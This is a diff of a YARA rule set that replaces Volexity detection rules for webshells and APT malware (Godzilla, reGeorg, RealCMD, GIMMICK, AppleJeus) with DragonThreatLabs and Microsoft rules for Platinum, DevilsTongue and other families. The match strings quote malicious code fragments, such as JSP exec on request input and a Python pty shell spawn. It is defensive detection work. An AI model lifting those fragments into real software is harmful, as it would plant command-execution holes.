+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L54-L70"
+		license_url = "N/A"
+		hash = "a6a18c846e5179259eba9de238f67e41"
+		logic_hash = "2fa29d3b17aa37501131132640953645d0089c9bc5ec13ffed7a498ad89c1558"
 		score = 75
-		quality = 80
-		tags = "COMMODITY, WEBSHELL, FILE"
-		hash1 = "5af4788d1a61009361b37e8db65deecbfea595ef99c3cf920d33d9165b794972"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 0
+		quality = 28
+		tags = "MEMORY, FILE"
 
 	strings:
-		$s1 = "[$i+1&15];"
-		$s2 = "openssl_decrypt"
+		$mz = {4D 5A}
+		$str1 = "/ShowWU" ascii
+		$str2 = "IsWow64Process"
+		$str3 = "regsvr32 "
+		$str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10}
 
 	condition:
-		all of them and filesize <10KB
+		$mz at 0 and all of ($str*)
 }
-rule VOLEXITY_Webshell_Jsp_Godzilla : WEBSHELLS COMMODITY
+import "pe"
+
+rule DRAGON_THREAT_LABS_Apt_C16_Win64_Dropper : DROPPER FILE
 {
 	meta:
-		description = "Detects the JSP implementation of the Godzilla Webshell."
-		author = "threatintel@volexity.com"
-		id = "47c8eab8-84d7-5566-b757-5a6dcc7579b7"
-		date = "2021-11-08"
-		modified = "2022-08-10"
-		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L1-L28"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "52cba9545f662da18ca6e07340d7a9be637b89e7ed702dd58cac545c702a00e3"
+		description = "APT malware used to drop PcClient RAT"
+		author = "@dragonthreatlab"
+		id = "dbd1a16c-52a5-5b07-b34f-7eb7b78c1eab"
+		date = "2015-01-11"
+		modified = "2016-09-27"
+		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L87-L104"
+		license_url = "N/A"
+		logic_hash = "df905711eca68c698ad6340e88ae99fdcae918c86ec2b7c26b62eead54fef892"
 		score = 75
-		quality = 80
-		tags = "WEBSHELLS, COMMODITY"
-		hash1 = "2786d2dc738529a34ecde10ffeda69b7f40762bf13e7771451f13a24ab7fc5fe"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		quality = 28
+		tags = "DROPPER, FILE"
 
 	strings:
-		$s1 = ".getWriter().write(base64Encode(" wide ascii
-		$s2 = ".getAttribute(" ascii wide
-		$s3 = "java.security.MessageDigest" ascii wide
-		$auth1 = /String xc=\"[a-f0-9]{16}\"/ ascii wide
-		$auth2 = "String pass=\"" ascii wide
-		$magic = "class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q"
-		$magic2 = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class"
+		$mz = { 4D 5A }
+		$str1 = "clbcaiq.dll" ascii
+		$str2 = "profapi_104" ascii
+		$str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii
+		$str4 = { 0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC }
 
 	condition:
-		all of ($s*) or all of ($auth*) or any of ($magic*)
+		$mz at 0 and all of ($str*)
 }
-rule VOLEXITY_Webshell_Jsp_General_Runtime_Exec_Req : GENERAL WEBSHELLS
+rule DRAGON_THREAT_LABS_Apt_Win_Mocelpa
 {
 	meta:
-		description = "Looks for a common design pattern in webshells where a request attribute is passed directly to exec()."
-		author = "threatintel@volexity.com"
-		id = "7f1539bd-a2f0-50dd-b500-ada4e0971d13"
-		date = "2022-02-02"
-		modified = "2022-08-10"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L30-L45"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "d3048aba80c1c39f1673931cd2d7c5ed83045603b0ad204073fd788d0103a6c8"
+		description = "APT malware; Mocelpa, downloader."
+		author = "@int0x00"
+		id = "2cf2ba5e-86b1-5533-9e14-61113e5f574d"
+		date = "2023-04-10"
+		modified = "2023-04-10"
+		reference = "https://github.com/DragonThreatLabs/IntelReports/blob/master/DTL-06282015-01.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/apt_win_mocelpa.yar#L1-L11"
+		license_url = "N/A"
+		logic_hash = "0331c0f690ac7a8870b3f4012f2828ed23850340edcf0b6ff80bc408d9174977"
 		score = 75
-		quality = 80
-		tags = "GENERAL, WEBSHELLS"
-		hash1 = "4935f0c50057e28efa7376c734a4c66018f8d20157b6584399146b6c79a6de15"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		quality = 28
+		tags = ""
 
 	strings:
-		$s1 = "Runtime.getRuntime().exec(request." ascii
+		$mz = {4D 5A}
+		$ssl_hello = {16 03 01 00 6B 01 00 00 67 03 01 54 B4 C9 7B 4F CF BC 5A 01 EC 4A 73 C8 6D BB C0 86 9F 7B A9 08 6A 60 37 05 81 97 1A C8 9F 45 E5 00 00 18 00 2F 00 35 00 05 00 0A C0 13 C0 14 C0 09 C0 0A 00 32 00 38 00 13 00 04 01 00 00 26 00 00 00 12 00 10 00 00 0D 77 77 77 2E 61 70 70 6C 65 2E 63 6F 6D 00 0A 00 06 00 04 00 17 00 18 00 0B 00 02 01 00}
 
 	condition:
-		$s1
+		($mz at 0) and ($ssl_hello)
 }
-rule VOLEXITY_Webshell_Jsp_Regeorg : WEBSHELL COMMODITY
+/*
+ * YARA Rule Set
+ * Repository Name: Microsoft
+ * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
+ * Retrieval Date: 2024-09-01
+ * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
+ * Number of Rules: 21
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+import "pe"
+
+rule MICROSOFT_Devilstongue_Hijackdll : FILE
 {
 	meta:
-		description = "Detects the reGeorg webshells' JSP version."
-		author = "threatintel@volexity.com"
-		id = "205ee383-4298-5469-a509-4ce3eaf9dd0e"
-		date = "2022-03-08"
-		modified = "2022-08-10"
-		reference = "https://github.com/SecWiki/WebShell-2/blob/master/reGeorg-master/tunnel.jsp"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L47-L70"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "cecb71605d9112d509823c26e40e1cf9cd6db581db448db5c9ffc63a2bfe529e"
+		description = "Detects SOURGUM's DevilsTongue hijack DLL"
+		author = "Microsoft Threat Intelligence Center (MSTIC)"
+		id = "b5de2a8c-e0c8-5c8c-bb65-aee5701b4bb3"
+		date = "2021-07-15"
+		modified = "2022-07-07"
+		reference = "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/DevilsTongue_HijackDll.yar#L2-L45"
+		license_url = "N/A"
+		logic_hash = "d1c01df74a00672bb8229d5433314d7cfa49ab22565e6cf78a4b6b2884dbd299"
 		score = 75
 		quality = 80
-		tags = "WEBSHELL, COMMODITY"
-		hash1 = "f9b20324f4239a8c82042d8207e35776d6777b6305974964cd9ccc09d431b845"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		tags = "FILE"
 
 	strings:
-		$magic = "socketChannel.connect(new InetSocketAddress(target, port))" ascii
-		$a1 = ".connect(new InetSocketAddress" ascii
-		$a2 = ".configureBlocking(false)" ascii
-		$a3 = ".setHeader(" ascii
-		$a4 = ".getHeader(" ascii
-		$a5 = ".flip();" ascii
+		$str1 = "windows.old\\windows" wide
+		$str2 = "NtQueryInformationThread"
+		$str3 = "dbgHelp.dll" wide
+		$str4 = "StackWalk64"
+		$str5 = "ConvertSidToStringSidW"
+		$str6 = "S-1-5-18" wide
+		$str7 = "SMNew.dll"
+		$code1 = {B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8}
+		$code2 = {44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19}
 
 	condition:
-		$magic or all of ($a*)
+		filesize <800KB and uint16(0)==0x5A4D and (pe.characteristics&pe.DLL) and (4 of them or ($code1 and $code2) or (pe.imphash()=="9a964e810949704ff7b4a393d9adda60"))
 }
-rule VOLEXITY_Webshell_Jsp_Converge : WEBSHELL
+rule MICROSOFT_Trojan_Win32_Plasrv : PLATINUM
 {
 	meta:
-		description = "File upload webshell observed in incident involving compromise of Confluence server."
-		author = "threatintel@volexity.com"
-		id = "2a74678e-cb00-567c-a2e0-2e095f3e5ee8"
-		date = "2022-06-01"
-		modified = "2022-06-06"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L1-L15"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "bb48516342eddd48c35e6db0eb74f95e116dc723503552b99ba721b5bdb391e5"
+		description = "Hotpatching Injector"
+		author = "Microsoft"
+		id = "2a099b68-fb13-5926-8a86-4d788326609c"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L1-L19"
+		license_url = "N/A"
+		hash = "ff7f949da665ba8ce9fb01da357b51415634eaad"
+		logic_hash = "5978502454d66a930a535ffe61d78f2106c3c17c8df9be1b22bc10ef900c891f"
 		score = 75
 		quality = 80
-		tags = "WEBSHELL"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "dff2fee984ba9f5a8f5d97582c83fca4fa1fe131"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$s1 = "if (request.getParameter(\"name\")!=null && request.getParameter(\"name\").length()!=0){" ascii
+		$Section_name = ".hotp1"
+		$offset_x59 = { C7 80 64 01 00 00 00 00 01 00 }
 
 	condition:
-		$s1
+		$Section_name and $offset_x59
 }
-rule VOLEXITY_General_Jsp_Possible_Tiny_Fileuploader : GENERAL WEBSHELLS FILE
+rule MICROSOFT_Trojan_Win32_Platual : PLATINUM
 {
 	meta:
-		description = "Detects small .jsp files which have possible file upload utility."
-		author = "threatintel@volexity.com"
-		id = "d111aab3-af6e-59cb-a445-ebd4a454fb9a"
-		date = "2022-06-01"
-		modified = "2022-06-06"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L17-L50"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "bad62e6fd33ffb0d8551302fd7f85528066992c272b670d44a33b5b2eb174886"
+		description = "Installer component"
+		author = "Microsoft"
+		id = "ac963388-cc73-5842-96be-77349398efcc"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L21-L38"
+		license_url = "N/A"
+		hash = "e0ac2ae221328313a7eee33e9be0924c46e2beb9"
+		logic_hash = "3692b5c1d873fb799b64ea69f3762177198dbb0fb971bc29bb80048c0de735d4"
 		score = 75
 		quality = 80
-		tags = "GENERAL, WEBSHELLS, FILE"
-		hash1 = "4addb9bc9e5e1af8fda63589f6b3fc038ccfd651230fa3fa61814ad080e95a12"
-		memory_suitable = 0
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$required1 = "request." ascii
-		$required2 = "java.io.FileOutputStream" ascii
-		$required3 = ".write" ascii
-		$encoding1 = "java.util.Base64" ascii
-		$encoding2 = "crypto.Cipher" ascii
-		$encoding3 = ".misc.BASE64Decoder" ascii
+		$class_name = "AVCObfuscation"
+		$scrambled_dir = { A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 }
 
 	condition:
-		( filesize <4KB and all of ($required*) and any of ($encoding*)) or ( filesize <600 and all of ($required*))
+		$class_name and $scrambled_dir
 }
-rule VOLEXITY_Webshell_Java_Realcmd : COMMODITY WEBSHELLS
+rule MICROSOFT_Trojan_Win32_Plaplex : PLATINUM
 {
 	meta:
-		description = "Detects the RealCMD webshell, one of the payloads for BEHINDER."
-		author = "threatintel@volexity.com"
-		id = "d5e7e3c8-a0aa-5c2e-8a2d-654e066593eb"
-		date = "2022-06-01"
-		modified = "2022-06-06"
-		reference = "https://github.com/Freakboy/Behinder/blob/master/src/main/java/vip/youwe/sheller/payload/java/RealCMD.java"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L52-L79"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "244add844570b23e5df23882a3fdacf894f3e201b01373d949b0752361960536"
+		description = "Variant of the JPin backdoor"
+		author = "Microsoft"
+		id = "2d670c09-dc0a-556e-8d00-5f94e5907d99"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L40-L57"
+		license_url = "N/A"
+		hash = "ca3bda30a3cdc15afb78e54fa1bbb9300d268d66"
+		logic_hash = "ff7b9a52befae5f22f7c6093af44bef4a4cf271548c1caf22f30d3c8aec42de4"
 		score = 75
 		quality = 80
-		tags = "COMMODITY, WEBSHELLS"
-		hash1 = "a9a30455d6f3a0a8cd0274ae954aa41674b6fd52877fafc84a9cb833fd8858f6"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$fn1 = "runCmd" wide ascii fullword
-		$fn2 = "RealCMD" ascii wide fullword
-		$fn3 = "buildJson" ascii wide fullword
-		$fn4 = "Encrypt" ascii wide fullword
-		$s1 = "AES/ECB/PKCS5Padding" ascii wide
-		$s2 = "python -c 'import pty; pty.spawn" ascii wide
-		$s3 = "status" ascii wide
-		$s4 = "success" ascii wide
-		$s5 = "sun.jnu.encoding" ascii wide
-		$s6 = "java.util.Base64" ascii wide
+		$class_name1 = "AVCObfuscation"
+		$class_name2 = "AVCSetiriControl"
 
 	condition:
-		all of ($fn*) or all of ($s*)
+		$class_name1 and $class_name2
 }
-rule VOLEXITY_Apt_Macos_Gimmick : STORMCLOUD
+rule MICROSOFT_Trojan_Win32_Dipsind_B : PLATINUM
 {
 	meta:
-		description = "Detects the macOS port of the GIMMICK malware."
-		author = "threatintel@volexity.com"
-		id = "258a2bbe-7822-5f74-b4eb-8776ecb15b76"
-		date = "2021-10-18"
-		modified = "2022-03-22"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-03-22 GIMMICK/indicators/yara.yar#L1-L50"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "403ed1102fe5a99c0aacde02e0830f9c4fa194f10aec4a192f4abf6cde0de99d"
+		description = "Dipsind Family"
+		author = "Microsoft"
+		id = "513c18a6-af25-58ad-9232-9a089f4ced3d"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L59-L77"
+		license_url = "N/A"
+		logic_hash = "1f99f298dc4d1483eb95cfb898dd9eee32b2f72a8da562f58a57f44559cbd2c7"
 		score = 75
-		quality = 78
-		tags = "STORMCLOUD"
-		hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		quality = 80
+		tags = "PLATINUM"
+		sample_sha1 = "09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii
-		$json1 = "base_json" ascii wide
-		$json2 = "down_json" ascii wide
-		$json3 = "upload_json" ascii wide
-		$json4 = "termin_json" ascii wide
-		$json5 = "request_json" ascii wide
-		$json6 = "online_json" ascii wide
-		$json7 = "work_json" ascii wide
-		$msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide
-		$msg2 = "pid %d is dead" ascii wide
-		$msg3 = "exit with code %d" ascii wide
-		$msg4 = "recv signal %d" ascii wide
-		$cmd1 = "ReadCmdQueue" ascii wide
-		$cmd2 = "read_cmd_server_timer" ascii wide
-		$cmd3 = "enableProxys" ascii wide
-		$cmd4 = "result_block" ascii wide
-		$cmd5 = "createDirLock" ascii wide
-		$cmd6 = "proxyLock" ascii wide
-		$cmd7 = "createDirTmpItem" ascii wide
-		$cmd8 = "dowfileLock" ascii wide
-		$cmd9 = "downFileTmpItem" ascii wide
-		$cmd10 = "filePathTmpItem" ascii wide
-		$cmd11 = "uploadItems" ascii wide
-		$cmd12 = "downItems" ascii wide
-		$cmd13 = "failUploadItems" ascii wide
-		$cmd14 = "failDownItems" ascii wide
-		$cmd15 = "downloadCmds" ascii wide
-		$cmd16 = "uploadFiles" ascii wide
+		$frg1 = {8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ?? ?? ?? ?? 89 91 ?? 07 00 00 }
+		$frg2 = {68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA}
+		$frg3 = {C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63}
 
 	condition:
-		$s1 or 5 of ($json*) or 3 of ($msg*) or 9 of ($cmd*)
+		$frg1 and $frg2 and $frg3
 }
-rule VOLEXITY_Apt_Win_Gimmick_Dotnet_Base : STORMCLOUD
+rule MICROSOFT_Trojan_Win32_Plakeylog_B : PLATINUM
 {
 	meta:
-		description = "Detects the base version of GIMMICK in .NET."
-		author = "threatintel@volexity.com"
-		id = "8723253f-ad11-509e-a9b4-f2c3258f9b5c"
-		date = "2020-03-16"
-		modified = "2022-03-22"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-03-22 GIMMICK/indicators/yara.yar#L52-L76"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "0dd2aab308b7057d3075c792339af89d7ff9d617f1beb78ecdb725554defa5dc"
+		description = "Keylogger component"
+		author = "Microsoft"
+		id = "bc84ef20-f428-5f3d-bc88-ab14991a2350"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L79-L97"
+		license_url = "N/A"
+		hash = "0096a3e0c97b85ca75164f48230ae530c94a2b77"
+		logic_hash = "288fb5a724baaa032ca36124cf803698e315aaf61662f999f3b894049ece63f2"
 		score = 75
 		quality = 80
-		tags = "STORMCLOUD"
-		hash1 = "b554bfe4c2da7d0ac42d1b4f28f4aae854331fd6d2b3af22af961f6919740234"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "6a1412daaa9bdc553689537df0a004d44f8a45fd"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$other1 = "srcStr is null" wide
-		$other2 = "srcBs is null " wide
-		$other3 = "Key cannot be null" wide
-		$other4 = "Faild to get target constructor, targetType=" wide
-		$other5 = "hexMoudule(public key) cannot be null or empty." wide
-		$other6 = "https://oauth2.googleapis.com/token" wide
-		$magic1 = "TWljcm9zb2Z0IUAjJCVeJiooKQ==" ascii wide
-		$magic2 = "DAE47700E8CF3DAB0@" ascii wide
+		$hook = {C6 06 FF 46 C6 06 25}
+		$dasm_engine = {80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05}
 
 	condition:
-		5 of ($other*) or any of ($magic*)
+		$hook and $dasm_engine
 }
-rule VOLEXITY_Apt_Win_Applejeus_Oct22 : LAZARUS
+rule MICROSOFT_Trojan_Win32_Adupib : PLATINUM
 {
 	meta:
-		description = "Detects AppleJeus DLL samples."
-		author = "threatintel@volexity.com"
-		id = "f88e2253-e296-57d8-a627-6cb4ccff7a92"
-		date = "2022-11-03"
-		modified = "2022-12-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L1-L16"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "46f3325a7e8e33896862b1971f561f4871670842aecd46bcc7a5a1af869ecdc4"
+		description = "Adupib SSL Backdoor"
+		author = "Microsoft"
+		id = "4c5a63e5-7110-57e9-b939-df8999f317d3"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L99-L120"
+		license_url = "N/A"
+		hash = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
+		logic_hash = "b83f642929a372a21e63055cd4adcab5d24b98b5a98b6fd0b35ee31e9f7f3b90"
 		score = 75
 		quality = 80
-		tags = "LAZARUS"
-		hash1 = "82e67114d632795edf29ce1d50a4c1c444846d9e16cd121ce26e63c8dc4a1629"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$s1 = "HijackingLib.dll" ascii
+		$str1 = "POLL_RATE"
+		$str2 = "OP_TIME(end hour)"
+		$str3 = "%d:TCP:*:Enabled"
+		$str4 = "%s[PwFF_cfg%d]"
+		$str5 = "Fake_GetDlgItemTextW: ***value***"
 
 	condition:
-		$s1
+		$str1 and $str2 and $str3 and $str4 and $str5
 }
-rule VOLEXITY_Apt_Win_Applejeus_B_Oct22 : LAZARUS
+rule MICROSOFT_Trojan_Win32_Plalsalog : PLATINUM
 {
 	meta:
-		description = "Detected AppleJeus unpacked samples."
-		author = "threatintel@volexity.com"
-		id = "8586dc64-225b-5f28-a6d6-b9b6e8f1c815"
-		date = "2022-11-03"
-		modified = "2022-12-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L18-L41"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "76f3c9692ea96d3cadbbcad03477ab6c53445935352cb215152b9b5483666d43"
+		description = "Loader / possible incomplete LSA Password Filter"
+		author = "Microsoft"
+		id = "e5c7e07d-79e3-580f-ac24-28920a9b0e70"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L122-L140"
+		license_url = "N/A"
+		hash = "fa087986697e4117c394c9a58cb9f316b2d9f7d8"
+		logic_hash = "58d937be220c0f356396c28367ab63ff4c4a6bf2cbf9e0ce8f8cac25e4fe3fec"
 		score = 75
 		quality = 80
-		tags = "LAZARUS"
-		hash1 = "9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "29cb81dbe491143b2f8b67beaeae6557d8944ab4"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$key1 = "AppX7y4nbzq37zn4ks9k7amqjywdat7d"
-		$key2 = "Gd2n5frvG2eZ1KOe"
-		$str1 = "Windows %d(%d)-%s"
-		$str2 = "&act=check"
+		$str1 = {8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3}
+		$str2 = "PasswordChangeNotify"
 
 	condition:
-		( any of ($key*) and 1 of ($str*)) or all of ($str*)
+		$str1 and $str2
 }
-rule VOLEXITY_Apt_Win_Applejeus_C_Oct22 : LAZARUS
+rule MICROSOFT_Trojan_Win32_Plagon : PLATINUM
 {
 	meta:
-		description = "Detected AppleJeus unpacked samples."
-		author = "threatintel@volexity.com"
-		id = "6f467e0e-2932-5ba7-9fe3-0f9d28466e23"
-		date = "2022-11-03"
-		modified = "2022-12-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L43-L63"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "566f5840ff2023f4fd8ffaa9ba1308a7012913cf587838173358b8f1fe4abca8"
+		description = "Dipsind variant"
+		author = "Microsoft"
+		id = "ae3b7eb0-d54e-5817-9484-c054cd27c1fd"
+		date = "2016-04-12"
+		modified = "2016-12-21"
